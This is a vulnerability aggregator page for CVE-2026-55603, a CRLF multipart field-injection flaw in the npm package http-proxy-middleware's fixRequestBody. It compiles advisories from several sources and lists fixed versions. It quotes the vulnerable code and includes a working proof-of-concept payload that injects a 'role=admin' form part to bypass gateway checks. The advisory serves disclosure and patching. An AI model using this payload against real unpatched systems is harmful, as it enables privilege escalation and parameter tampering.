CVE-2026-55603
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.5
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.
- Record
CVE-2026-55603- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-93
- Updated
- 2026-11-02
EUVDEUVD-2026-38349
7.5
http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.
- Record
EUVD-2026-38349- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gcq2-9pq2-cxqm
7.5
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
Summary
fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
let str = '';
for (const [key, value] of Object.entries(data)) {
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
}
}
A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.
By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.
Preconditions
All three must hold; this narrows real-world exposure and is the basis for AC:H:
- The proxy app populates
req.bodywith a non-multipart parser (express.urlencoded,express.json, or text) so an injected boundary in a value is not split on input. - The proxied (outgoing) request is sent as
multipart/form-data(e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. - The app calls
fixRequestBody(the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.
Note: a pure multipart-in → multipart-out flow (e.g.
multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, soreq.bodyand the backend agree. The desync specifically requires a non-multipart input parser.
Impact
When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:
- Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids
role=adminis bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
- File-part injection inject a
filename="..."part into the upstream multipart stream.
Proof of Concept
// npm i [email protected] (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';
// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};
// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
h: { 'content-type': 'multipart/form-data; boundary=BB' },
getHeader(n){ return this.h[n.toLowerCase()]; },
setHeader(n,v){ this.h[n.toLowerCase()] = v; },
write(d){ out.push(Buffer.from(d)); },
};
fixRequestBody(proxyReq, req); // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:
--BB
Content-Disposition: form-data; name="user"
alice
--BB
Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys
admin
--BB--
req.body had a single key…
- Record
GHSA-gcq2-9pq2-cxqm- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-93
- Updated
- 2026-11-02
NVD
7.5
http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.
- Record
CVE-2026-55603- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-93
- Updated
- 2026-11-02
OSV
7.5
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
http-proxy-middleware is node.js http-proxy middleware. From 3.0.4 until 3.0.7 and 4.1.1, fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF. A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary. This vulnerability is fixed in 3.0.7 and 4.1.1.
- Record
CVE-2026-55603- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-93
- Updated
- 2026-11-02
OSVGHSA-gcq2-9pq2-cxqm
7.5
http-proxy-middleware: multipart/form-data field injection via unescaped CRLF in `fixRequestBody`
Summary
fixRequestBody() is the library's documented helper for re-emitting a request body that was already consumed by a body parser. When the outgoing Content-Type is multipart/form-data, it rebuilds the body with handlerFormDataBodyData(), which interpolates each req.body key and value directly into the multipart wire format without neutralizing CR/LF:
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
let str = '';
for (const [key, value] of Object.entries(data)) {
str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
}
}
A \r\n inside a value (or key) lets an attacker close the current part and inject an entirely new form part. Because the proxy's own body parser saw a single opaque value, any gateway-side policy or validation performed on req.body is evaluated against a different set of fields than the upstream backend ultimately parses a request/parameter desynchronization across the trust boundary.
By contrast, the sibling output branches are safe: application/json uses JSON.stringify (escapes control chars) and application/x-www-form-urlencoded uses querystring.stringify (percent-encodes). Only the multipart branch lacks escaping.
Preconditions
All three must hold; this narrows real-world exposure and is the basis for AC:H:
- The proxy app populates
req.bodywith a non-multipart parser (express.urlencoded,express.json, or text) so an injected boundary in a value is not split on input. - The proxied (outgoing) request is sent as
multipart/form-data(e.g. an adaptation layer, or any flow that sets the upstream content-type to multipart), so the vulnerable branch runs. - The app calls
fixRequestBody(the documented pattern for "I body-parsed, now re-stream"), and an attacker controls at least one body field value or key.
Note: a pure multipart-in → multipart-out flow (e.g.
multer) is generally not exploitable for a new-field injection, because the proxy's multipart parser already splits the injected boundary, soreq.bodyand the backend agree. The desync specifically requires a non-multipart input parser.
Impact
When the preconditions hold, an attacker injects/overrides multipart fields seen only by the backend:
- Validation / access-control bypass bypass gateway-side field checks (demonstrated below: a gateway that forbids
role=adminis bypassed; backend grants admin). - Parameter tampering add or overwrite fields the backend trusts (IDs, flags, prices).
- File-part injection inject a
filename="..."part into the upstream multipart stream.
Proof of Concept
// npm i [email protected] (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';
// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent user=alice%0D%0A--BB%0D%0A... so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};
// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
h: { 'content-type': 'multipart/form-data; boundary=BB' },
getHeader(n){ return this.h[n.toLowerCase()]; },
setHeader(n,v){ this.h[n.toLowerCase()] = v; },
write(d){ out.push(Buffer.from(d)); },
};
fixRequestBody(proxyReq, req); // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
Output: one input field becomes two parts; role=admin was injected via the unescaped CRLF:
--BB
Content-Disposition: form-data; name="user"
alice
--BB
Content-Disposition: form-data; name="role" <-- injected part; never present in req.body's keys
admin
--BB--
req.body had a single key…
- Record
GHSA-gcq2-9pq2-cxqm- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N - Weakness
- CWE-93
- Updated
- 2026-11-02
OSVCLSA-2026-1792000560 No score
TuxCare security update for http-proxy-middleware (2 CVEs)
TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 4.0.0-tuxcare.1.
- Record
CLSA-2026-1792000560- Updated
- 2026-11-02
OSVCLSA-2026-1792449353 No score
TuxCare security update for http-proxy-middleware (2 CVEs)
TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 3.0.5-tuxcare.1.
- Record
CLSA-2026-1792449353- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-55603 No score
CVE-2026-55603 in @rootio/http-proxy-middleware - Patched by Root
Root has patched CVE-2026-55603 in the @rootio/http-proxy-middleware package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-55603- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
http-proxy-middlewarenpm |
3.0.4 up to 3.0.7 | 3.0.7 |
http-proxy-middlewarenpm |
4.0.0 up to 4.1.1 | 4.1.1 |
http-proxy-middlewareTuxCare:npm From an advisory covering 2 CVEs |
4.0.0-tuxcare.0 up to 4.0.0-tuxcare.1, plus listed versions 4.0.0 |
4.0.0-tuxcare.1 |
http-proxy-middlewareTuxCare:npm From an advisory covering 2 CVEs |
3.0.5-tuxcare.0 up to 3.0.5-tuxcare.1, plus listed versions 3.0.5 |
3.0.5-tuxcare.1 |
@rootio/http-proxy-middlewareRoot:npm |
before 3.0.5-root.io.1 | 3.0.5-root.io.13.0.5-root.io.2 |
http-proxy-middlewareRoot:npm |
before 3.0.5-aikido.1 | 3.0.5-aikido.13.0.5-aikido.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55603 is a high vulnerability (CVSS 7.5) in Chimurai Http-proxy-middleware, published June 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.29%, the 21st percentile. Fixed in http-proxy-middleware 3.0.7.
References
Left out here: the rest of 2 source descriptions. The JSON record has them.